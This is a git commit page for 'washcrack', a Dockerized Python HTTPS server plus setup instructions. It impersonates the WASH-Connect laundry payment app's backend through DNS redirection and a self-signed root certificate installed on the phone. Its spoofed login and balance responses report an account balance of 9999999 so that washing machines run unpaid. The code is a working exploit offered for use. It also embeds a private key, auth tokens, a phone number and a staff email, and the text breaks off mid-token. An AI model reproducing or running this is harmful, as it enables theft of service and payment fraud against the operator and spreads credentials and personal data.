Skip to content
Snippets Groups Projects
Commit b56ce040 authored by Recolic's avatar Recolic :house_with_garden:
Browse files

Initial commit

parents
No related branches found
No related tags found
No related merge requests found
# Usage: sudo docker build -t recolic/washcrack .
# Usage: sudo docker run -p 443:443 -p 8000:8000 -d --name washcrack --restart=always recolic/washcrack
# Download cert at 8000 port, and then redirect dns to 443
from ubuntu:22.04
arg DEBIAN_FRONTEND=noninteractive
run apt update && apt install -y python3 curl
copy . /src
workdir /src
run curl https://ipinfo.io/ip > /tmp/myip
run echo "<h2>PLease set DNS:</h2>" >> /src/_a_help.html
run echo "<h2>getwashconnect.com $(cat /tmp/myip)</h2>" >> /src/_a_help.html
run echo "<h2>us-central1-washmobilepay.cloudfunctions.net $(cat /tmp/myip)</h2>" >> /src/_a_help.html
run echo "<h2>o424104.ingest.sentry.io $(cat /tmp/myip)</h2>" >> /src/_a_help.html
cmd bash -c "echo -e 'python3 -m http.server & \n python3 httpd-standalone-ssl.py' | bash"
# How to use this crack on vps
> Make sure there is not existing HTTPS server running on your machine.
1. Run `python -m http.server`. Use your android phone to download `crt` and `apk` from vps. Install the crt and apk.
2. Run `httpd-standalone-ssl.py` in background.
3. Modify DNS record on your phone. The following hostname should points to your vps.
```
getwashconnect.com
us-central1-washmobilepay.cloudfunctions.net
o424104.ingest.sentry.io
```
4. (maybe u need to update the location code?)
5. clear storage for wash connect app, enter laundry room, open the app, login with random password, start the washing machine
6. when the washing machine is started, close the app and clear storage.
File added
openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 \
-nodes -keyout example.com.key -out example.com.crt -subj "/CN=getwashconnect.com" \
-addext "subjectAltName=DNS:o424104.ingest.sentry.io,DNS:us-central1-washmobilepay.cloudfunctions.net"
# getwashconnect.com
# o424104.ingest.sentry.io
# us-central1-washmobilepay.cloudfunctions.net
-----BEGIN CERTIFICATE-----
MIIFcDCCA1igAwIBAgIUF5VWFxsxf5+vK6VX7FdnPYJrclMwDQYJKoZIhvcNAQEL
BQAwHTEbMBkGA1UEAwwSZ2V0d2FzaGNvbm5lY3QuY29tMB4XDTIzMDgwMzA1NTI1
OFoXDTMzMDczMTA1NTI1OFowHTEbMBkGA1UEAwwSZ2V0d2FzaGNvbm5lY3QuY29t
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlCVR8+h49N6tCjqc+gIi
GA4RbB5Hn11GLLzcXZa26rxUcUblKWdYkRXpoH7Jt8JHwBaSyW1AZ7xwKQrUd/oe
eKWCDPrgsjCwCeN3Rv1TXA/VDwECxtj8+UW1WumUENiK4d39opyirPrV1rrECDJZ
B2QjisHW8NEavl6wf1LjOf1ofDtf1ZllIv0q0bwWX/RfFbEBQMaKO9IXeOCJU+zP
u3XJGXmgZyi2T3/POTucidYEown001VxuEVWv6KGmdIt8s7A4A/g7MmZesBiPFh/
BLO4MgtVMwUoVgom+y2Ck0rl3DTVdP111V+PsrdtDXEcIYlWXS8R/Mt7pXl9u8LI
TQKaNLgmrdKaPnBIsQlUiQlF3Rrpm47MSEcY5S7nij0fmIv2U3jpyZOucXVOHbFq
yjjot1S+m7l5pA0XQvIJawBJFeiy1otWXXqLSOLG0h5kBt7Qa3ICo8N6FsWeUiyK
TFkUkrjXNIZtN6nUNOdlY7dkq29GXqVqUHXK588h+YpnJlsdMbuh4kdaXXe6+K7b
nJruU4wHtpuiFD3V1kbO7fRrqpSgVd2XiVaZoaQoRPPq2V/59hiVQno2Hyd3dIqJ
rXR+VejI+GCfUaU8Mwaj4OCZRfH7iRUONucs0DLFUN1b1Ahud8VDz/zEP5RT60JM
eCBtxEfLXgwPdKyc7GtKo8kCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUTStMBm8J+JhH
Nrgn2tieFPpoPucwHwYDVR0jBBgwFoAUTStMBm8J+JhHNrgn2tieFPpoPucwDwYD
VR0TAQH/BAUwAwEB/zBRBgNVHREESjBIghhvNDI0MTA0LmluZ2VzdC5zZW50cnku
aW+CLHVzLWNlbnRyYWwxLXdhc2htb2JpbGVwYXkuY2xvdWRmdW5jdGlvbnMubmV0
MA0GCSqGSIb3DQEBCwUAA4ICAQAROwkerWtzXbejLt26xZ/DHi724E9BnpQwJIHi
y1autEP8W6xJIwQoLe5XudtyakybdIIKJIILhLbGfyDXJlvbjbSKRXmoBqKtZtiF
N7vJab0igV3cYqDeAd7x46EtODpS6NGQnQYkf1mEEKe80LOWVykr9srfFFc0DvO4
GwDUhh/zRFdZOCpBKFh/2VU0nSXxie3v6ye9zCdbHl7ioIZOqOAGhcIlVE6Klu+A
r8UGJCilY3kvUw/bS5S+iX8qgHNKLmGEyjiKj7OHQRqkPMyzUFi5gbLf+m5+404e
KLwv3xbVgDuunjTwSh+RQ/fx8wAlhFMpaGyBHWmO4PdQ3e0t6byskZxEXDZnNE3y
qVve2ar/f5+NPRHqfOv9UQB0wgolKePhh0ZOsEvPnWyG8OHeC6ZEjJevtuhEk7IH
6Fm+DsECGXNCTb1Nqn7zB+EwXxj/xfmNEJ5VA1qsJB4eraI3rT9183NcLCl+Yuoi
D7SwSjSa2isYCzq1uvBdOr3wZ8L15DGYCfcnWWBFcB6GaoBeWf8zkpn7MP1Hv2+r
/k/yXCuOgdwyBaiAJ2Ze0d9oL0rhHBJ1Mp3eMBWDrh/40CEgdzEQ5wJFX625JW5g
D4F79Ie9qoGyKm/42RkFSI8bPA7d/k7zedT4ezHMjMQnmOfAFiEiDr55FBXdvjpP
aChbbw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
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
mZWRMCNSlSeEde87yRDKaTg6AdpQAA==
-----END PRIVATE KEY-----
import http.server, socketserver
import ssl
listen_port = 443
STR_1 = '{"status":200,"location":{"location_id":"8025","location_name":"6110 186th Pl NE","sitecode":"000001","uln":"WA7502986 ","device_type":"connect","support_atrium_card":"0","atrium_card_key":"","atrium_google_pay_key":"","atrium_apple_wallet_key":"","atrium_apple_credential_key":"","atrium_campus_id_attribute_name":"","support_transact_card":"0","transact_encrypted_package":"","transact_institution_route_id":null,"touchnet_wallet":"0","kiosoft_wallet":"1","atrium_wallet":"0","touchnet_wallet_alias":"","kiosoft_wallet_alias":"","atrium_wallet_alias":"","atrium_api_url":"","bluetooth_capability":true,"mobile_compatibility":true,"machine_selection_method":"1","hide_refund":"1","offline":"1","facebook_ability":"0","google_ability":"0","technician_email":"gsalazar@washlaundry.com","datetime":"2021-10-04 15:54:57","service_only":"0","service_only_enable_time":"0000-00-00 00:00:00","verification_avs":"0","vendor_key":null,"coin_trans":"0","value_trans":"0","app_trans":"0","credit_trans":"0","start_app_ad":"0","start_app_level":"","address_line1":null,"address_line2":null,"stack_combo_label":"1","support_cloud_based_card":"0","support_loves_card":"0","loves_store_number":null,"touchnet_api_url":"","touchnet_terminal_id":"","touchnet_terminal_type":"","touchnet_operator_id":"","touchnet_operator_password":"","terminal_multilingual":"0","encryption":"0","sms_ability":1,"bonus_ability":0,"referal_ability":0},"rooms":[{"id":"10159","room_name":"LR001: L Bldg.","uvid":"0","location_id":"8025","room_id":"1","range_type":"1","range":"1-255","uln_id":null},{"id":"10160","room_name":"LR002: H Bldg.","uvid":"0","location_id":"8025","room_id":"2","range_type":"1","range":"1-255","uln_id":null}],"laundry_portal_version":"2.34.4.0","payment_method":[[{"status":"success","name":"CleanPay Account","payment":"enable","trans_type":"1"},{"status":"success","name":"OneCard Account","payment":"disable","trans_type":"3"},{"status":"success","name":"Atrium Account","payment":"disable","trans_type":"6"}]]}'
STR_2 = '{"settings":{"cache_expiration":{"location":300},"debug":{"allowVirtualMachines":true,"enableBTLogging":false},"dev":{"refill_base":"https://dev.getwashconnect.com:5009","refill_url":"https://dev.getwashconnect.com:5009/tenant/refill_account"},"email_config":{"service_call":{"body":"A service request has been created for you. The request ID is {request_number}. Please use this number when calling customer support.","return_path":"app.beta@washlaundry.com","sender_email":"mobilesupport@washlaundry.com","subject":"WASH-Connect Service Request {request_number}"}},"feature_flags":{"bottom_nav":{"CA0002260":true,"CA0005340":true,"CA0005472":true,"CA0029120":true,"CA7505652":true,"CA8604031":true,"IL7502056":true,"TEST12345":true,"all_ulns":true},"dev_logging":false,"freshchat":false,"inapp_review":true,"location_manual":true,"location_qr":false,"payment_types":{"amex":true,"discover":true,"mastercard":true,"visa":true},"refund":true,"resources":true,"service_request":true},"feedback":{"body":"Please tell us your issue…","description":"Please help us make this app great:","email":"mobilesupport@washlaundry.com","email_subject":"WASH-Connect App Feedback","title":"Feedback"},"help":{"body":"Please tell us your issue…","description":"Need help using the app? Email us at {support_email} for more help.","email":"mobilesupport@washlaundry.com","email_subject":"WASH-Connect App Support","phone":" ","title":"Need Help?"},"privacy_policy":{"html_text_v2":"` <html> <h3 style=\"text-align: center;\"> Cracked </h3> </html> `","last_updated":"January 1, 2023","text":"W Cracked CA 90245","title":"WASH PRIVACY POLICY"},"refill_base":"https://valuecode.getwashconnect.com","refill_url":"https://valuecode.getwashconnect.com/tenant/refill_account","refund_config":{"avs_vend":"Credit","refund_issued":"Code","vend_method":"Credit"},"requireEmailVerification":false,"resources_url":"https://www.wash.com/resource-page/","terms":{"last_updated":"January 18, 2019","text":"` <html> <h3 style=\"text-align: center;\"> Cracked </h3> </html> `","title":"TERMS OF USE"},"tutorial_url":"https://www.youtube.com/embed/Z1XpmAVBP-w","version":{"current":"4.0.1","minimum":"0.0.0"}}}'
class my_handler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
def do_GET(self):
self.send_response(200)
if self.path.startswith('/account_balance'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":200,"account_number":"000000828463","account_balance":"9999999","atrium_campus_id":"","atrium_balance":""}'.encode('utf-8'))
return
if self.path.startswith('/locations?'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write(STR_1.encode('utf-8'))
return
if self.path.startswith('/get_user_notifications_v1'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":"ok","error":{"errorCode":0,"errorMessage":""},"notifications":[]}'.encode('utf-8'))
return
if self.path.startswith('/app_settings'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write(STR_2.encode('utf-8'))
return
# if self.path.startswith(''):
# self.send_header("content-type","application/json; charset=utf-8")
# self.end_headers()
# self.wfile.write(''.encode('utf-8'))
# return
self.send_response(403)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write('invalid get query.'.encode('utf-8'))
def do_POST(self):
self.send_response(200)
if self.path.startswith('/login'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":200,"user_id":"828463","user_level":"0","phone":"8023310823","bonus":"0","autorefill":"0","referring":"0","referred":"0","account_referred":"0","token":"U2FsdGVkX19Z0XP/RVPRwqWNFNmewMJv0D484g8kD5U3OIvqDPd4gFwL+TZ3Qup20aP4edRX3XjyEMnuCapYLZCdbnB136AMNWb5z5asUzNcv2H2ldu0x+qDJRnbD7FY","account_number":"000000828463","account_balance":"9999999","zipcode":"98052","inject_vendor_key":"0","setup":"0","collect":"0","get_reader_info":"0","service_mode_kill":"0","update_reader":"0","signal_test":"0","ultra_functions":"0","reboot":"0","scan_room":"0","factory_reset":"0","cnvert_bt_name":"0","set_up_test":"0","error_enquiries":"0","refill_user_account":"0","emailVerified":true,"validated":false,"email_verification_sent":false,"last_uln":"WA7502986","last_srcode":null,"device_type":"connect","displayName":"fuck","email_address":"wash@tmp.recolic.cc","firebase_token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJodHRwczovL2lkZW50aXR5dG9vbGtpdC5nb29nbGVhcGlzLmNvbS9nb29nbGUuaWRlbnRpdHkuaWRlbnRpdHl0b29sa2l0LnYxLklkZW50aXR5VG9vbGtpdCIsImlhdCI6MTY5MTA0MzQ5MiwiZXhwIjoxNjkxMDQ3MDkyLCJpc3MiOiJmaXJlYmFzZS1hZG1pbnNkay1qdm9oY0B3YXNobW9iaWxlcGF5LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic3ViIjoiZmlyZWJhc2UtYWRtaW5zZGstanZvaGNAd2FzaG1vYmlsZXBheS5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInVpZCI6IjMyNk8yZ0xxQTRaRnpRQTBac1RRUldVTzRwYjIifQ.OW1hcu5nFc9eV3GoWOy75rfD4s_sk6U1JTJM9u6kJVBB_NPWOqP7eXDyM9z7_mrI9PBAs_qZlqYLqViL_h_fcOxeeFNcIJjyT9j1cT3AS6adES1qBcMZ37VJ4kXZPt9DvRP90J5gJU453LEEe2F0JxZO4ANZKi6E4DPv6Y-J228DDdhV3VHBnH5seOhDpQKZKJR3RMf4XiCv9EVXFwKJrDR1hFqYc9txBpR_uFdEr6AXBrmPzNUNLRGCsl_9eCyCGPB7a1j_suvzh2Qmdyuto4Ic2ZF50gh4ew-urM95uFYiK5XeqtCl2WXhC6cogTR3eCqfAuNrPdtsTvWV5zsBVg"}'.encode('utf-8'))
return
if self.path.startswith('/get_token'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":200,"debug_original_token":"000000828463A3020000230803061813000000000000050000010001A5A5A5A54D6171EDEC84047C30A903F8B0B040409B379B6CF4A54ECF6DE1D83FC22CABF12DC59C2FDB7C21EC8F63B36D5A28A3DCA15FCFF8A5D75A40749B0D4566F12EFA54145AEDF93ED959B934D2EDD7F6662D9E83E710F4C6D9E22FE83AD7262AD03A3D124C6E6D5173DA50BDF904F07ACBFFB07BA7B1652F2D295C3A99EE8D8714B54AE75705B9F9420E","debug_account_number":"000000828463","user_token":"U2FsdGVkX1+k6O+6x4HtJp5RgJ8IWafJ9GuvKQqzxUU7FEOfYkVi9GjOhfwmN0sr4GNA4pWzpFU8IrnagZXuwh9HK939FEjfIBqxHQ5od1KMu7crc9+WtddncXDCPLS0PAYAqXDPgQ1rYn4lNvWCG2QZIF+mTe3qWgoP7meNgJ3v/OPVQ6IXKCjEBignKBq7h8v10BjZl85KbdD/L+2hkQv8GxfMTgrejsm1IVlqT0YcxPvsebxSrM8vMhbE0Nc2f0aNLp/ziSNw+u66Rc13jhayRoHnasnDchxBM4R/rW/7nbgXHCCc7KpA6nqRYNaz/+0Yo0aiVQSYUWhWbz2tAOL6TPt7p+3+cqB/trkkPa84sQ0lNVFLFrq1PxZCnYQFT3j77hDojc4T5aYNRnPDaM5rRd34e56us240E3W7DSMiV/7Hl3wfYhIFOSzKpZH/rGK/84gACbzxckJ+PxwxzNzOo25Su7wIjrzvh8HVmgUmIIw0nfG72jFGOP1olaqFHCTaRMaPvKsZgMmaiJmzlw=="}'.encode('utf-8'))
return
if self.path.startswith('/api/locations/get_location_uln_srcode'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"uln":"WA7502986"}'.encode('utf-8'))
return
if self.path.startswith('/api/payment/card_info'):
self.send_header("Server","nginx")
self.send_header("content-type","application/json; charset=utf-8")
self.send_header("x-content-type-options","nosniff")
self.send_header("x-frame-options","sameorigin")
self.send_header("x-xss-protection","1; mode=block")
self.send_header("access-control-allow-origin","*")
self.end_headers()
self.wfile.write('{"status":200,"card_type":"4","card_num":"5539"}'.encode('utf-8'))
return
if self.path.startswith('/api/5355472/envelope/'):
self.send_header("Server","nginx")
self.send_header("content-type","application/json")
self.send_header("access-control-allow-origin","*")
self.send_header("vary","origin,access-control-request-method,access-control-request-headers")
self.send_header("access-control-expose-headers","x-sentry-error,x-sentry-rate-limits,retry-after")
self.send_header("x-envoy-upstream-service-time","0")
self.send_header("Via","1.1 google")
self.send_header("Alt-Svc",'h3=":443"; ma=2592000,h3-29=":443"; ma=2592000')
self.send_header("Connection","close")
self.end_headers()
self.wfile.write('{}'.encode('utf-8'))
return
if self.path.startswith('/get_machine_status_v1'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":"error","error":{"errorCode":400,"errorMessage":"No ULN provided"}}'.encode('utf-8'))
return
self.send_response(403)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write('invalid post query.'.encode('utf-8'))
try:
server = http.server.HTTPServer(('', listen_port), my_handler)
sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
sslctx.check_hostname = False # If set to True, only the hostname that matches the certificate will be accepted
sslctx.load_cert_chain(certfile='example.com.crt', keyfile="example.com.key")
server.socket = sslctx.wrap_socket(server.socket, server_side=True)
print('Listening *:' + str(listen_port))
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
httpd.py 0 → 100644
import http.server, socketserver
import hashlib
import random
import subprocess
listen_port = 25502
STR_1 = '{"status":200,"location":{"location_id":"8025","location_name":"6110 186th Pl NE","sitecode":"000001","uln":"WA7502986 ","device_type":"connect","support_atrium_card":"0","atrium_card_key":"","atrium_google_pay_key":"","atrium_apple_wallet_key":"","atrium_apple_credential_key":"","atrium_campus_id_attribute_name":"","support_transact_card":"0","transact_encrypted_package":"","transact_institution_route_id":null,"touchnet_wallet":"0","kiosoft_wallet":"1","atrium_wallet":"0","touchnet_wallet_alias":"","kiosoft_wallet_alias":"","atrium_wallet_alias":"","atrium_api_url":"","bluetooth_capability":true,"mobile_compatibility":true,"machine_selection_method":"1","hide_refund":"1","offline":"1","facebook_ability":"0","google_ability":"0","technician_email":"gsalazar@washlaundry.com","datetime":"2021-10-04 15:54:57","service_only":"0","service_only_enable_time":"0000-00-00 00:00:00","verification_avs":"0","vendor_key":null,"coin_trans":"0","value_trans":"0","app_trans":"0","credit_trans":"0","start_app_ad":"0","start_app_level":"","address_line1":null,"address_line2":null,"stack_combo_label":"1","support_cloud_based_card":"0","support_loves_card":"0","loves_store_number":null,"touchnet_api_url":"","touchnet_terminal_id":"","touchnet_terminal_type":"","touchnet_operator_id":"","touchnet_operator_password":"","terminal_multilingual":"0","encryption":"0","sms_ability":1,"bonus_ability":0,"referal_ability":0},"rooms":[{"id":"10159","room_name":"LR001: L Bldg.","uvid":"0","location_id":"8025","room_id":"1","range_type":"1","range":"1-255","uln_id":null},{"id":"10160","room_name":"LR002: H Bldg.","uvid":"0","location_id":"8025","room_id":"2","range_type":"1","range":"1-255","uln_id":null}],"laundry_portal_version":"2.34.4.0","payment_method":[[{"status":"success","name":"CleanPay Account","payment":"enable","trans_type":"1"},{"status":"success","name":"OneCard Account","payment":"disable","trans_type":"3"},{"status":"success","name":"Atrium Account","payment":"disable","trans_type":"6"}]]}'
STR_2 = '{"settings":{"cache_expiration":{"location":300},"debug":{"allowVirtualMachines":true,"enableBTLogging":false},"dev":{"refill_base":"https://dev.getwashconnect.com:5009","refill_url":"https://dev.getwashconnect.com:5009/tenant/refill_account"},"email_config":{"service_call":{"body":"A service request has been created for you. The request ID is {request_number}. Please use this number when calling customer support.","return_path":"app.beta@washlaundry.com","sender_email":"mobilesupport@washlaundry.com","subject":"WASH-Connect Service Request {request_number}"}},"feature_flags":{"bottom_nav":{"CA0002260":true,"CA0005340":true,"CA0005472":true,"CA0029120":true,"CA7505652":true,"CA8604031":true,"IL7502056":true,"TEST12345":true,"all_ulns":true},"dev_logging":false,"freshchat":false,"inapp_review":true,"location_manual":true,"location_qr":false,"payment_types":{"amex":true,"discover":true,"mastercard":true,"visa":true},"refund":true,"resources":true,"service_request":true},"feedback":{"body":"Please tell us your issue…","description":"Please help us make this app great:","email":"mobilesupport@washlaundry.com","email_subject":"WASH-Connect App Feedback","title":"Feedback"},"help":{"body":"Please tell us your issue…","description":"Need help using the app? Email us at {support_email} for more help.","email":"mobilesupport@washlaundry.com","email_subject":"WASH-Connect App Support","phone":" ","title":"Need Help?"},"privacy_policy":{"html_text_v2":"` <html> <h3 style=\"text-align: center;\"> Cracked </h3> </html> `","last_updated":"January 1, 2023","text":"W Cracked CA 90245","title":"WASH PRIVACY POLICY"},"refill_base":"https://valuecode.getwashconnect.com","refill_url":"https://valuecode.getwashconnect.com/tenant/refill_account","refund_config":{"avs_vend":"Credit","refund_issued":"Code","vend_method":"Credit"},"requireEmailVerification":false,"resources_url":"https://www.wash.com/resource-page/","terms":{"last_updated":"January 18, 2019","text":"` <html> <h3 style=\"text-align: center;\"> Cracked </h3> </html> `","title":"TERMS OF USE"},"tutorial_url":"https://www.youtube.com/embed/Z1XpmAVBP-w","version":{"current":"4.0.1","minimum":"0.0.0"}}}'
class my_handler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
def do_GET(self):
self.send_response(200)
if self.path.startswith('/account_balance'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":200,"account_number":"000000828463","account_balance":"9999999","atrium_campus_id":"","atrium_balance":""}'.encode('utf-8'))
return
if self.path.startswith('/locations?'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write(STR_1.encode('utf-8'))
return
if self.path.startswith('/get_user_notifications_v1'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":"ok","error":{"errorCode":0,"errorMessage":""},"notifications":[]}'.encode('utf-8'))
return
if self.path.startswith('/app_settings'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write(STR_2.encode('utf-8'))
return
# if self.path.startswith(''):
# self.send_header("content-type","application/json; charset=utf-8")
# self.end_headers()
# self.wfile.write(''.encode('utf-8'))
# return
self.send_response(403)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write('invalid get query.'.encode('utf-8'))
def do_POST(self):
self.send_response(200)
if self.path.startswith('/login'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":200,"user_id":"828463","user_level":"0","phone":"8023310823","bonus":"0","autorefill":"0","referring":"0","referred":"0","account_referred":"0","token":"U2FsdGVkX19Z0XP/RVPRwqWNFNmewMJv0D484g8kD5U3OIvqDPd4gFwL+TZ3Qup20aP4edRX3XjyEMnuCapYLZCdbnB136AMNWb5z5asUzNcv2H2ldu0x+qDJRnbD7FY","account_number":"000000828463","account_balance":"9999999","zipcode":"98052","inject_vendor_key":"0","setup":"0","collect":"0","get_reader_info":"0","service_mode_kill":"0","update_reader":"0","signal_test":"0","ultra_functions":"0","reboot":"0","scan_room":"0","factory_reset":"0","cnvert_bt_name":"0","set_up_test":"0","error_enquiries":"0","refill_user_account":"0","emailVerified":true,"validated":false,"email_verification_sent":false,"last_uln":"WA7502986","last_srcode":null,"device_type":"connect","displayName":"fuck","email_address":"wash@tmp.recolic.cc","firebase_token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJodHRwczovL2lkZW50aXR5dG9vbGtpdC5nb29nbGVhcGlzLmNvbS9nb29nbGUuaWRlbnRpdHkuaWRlbnRpdHl0b29sa2l0LnYxLklkZW50aXR5VG9vbGtpdCIsImlhdCI6MTY5MTA0MzQ5MiwiZXhwIjoxNjkxMDQ3MDkyLCJpc3MiOiJmaXJlYmFzZS1hZG1pbnNkay1qdm9oY0B3YXNobW9iaWxlcGF5LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic3ViIjoiZmlyZWJhc2UtYWRtaW5zZGstanZvaGNAd2FzaG1vYmlsZXBheS5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInVpZCI6IjMyNk8yZ0xxQTRaRnpRQTBac1RRUldVTzRwYjIifQ.OW1hcu5nFc9eV3GoWOy75rfD4s_sk6U1JTJM9u6kJVBB_NPWOqP7eXDyM9z7_mrI9PBAs_qZlqYLqViL_h_fcO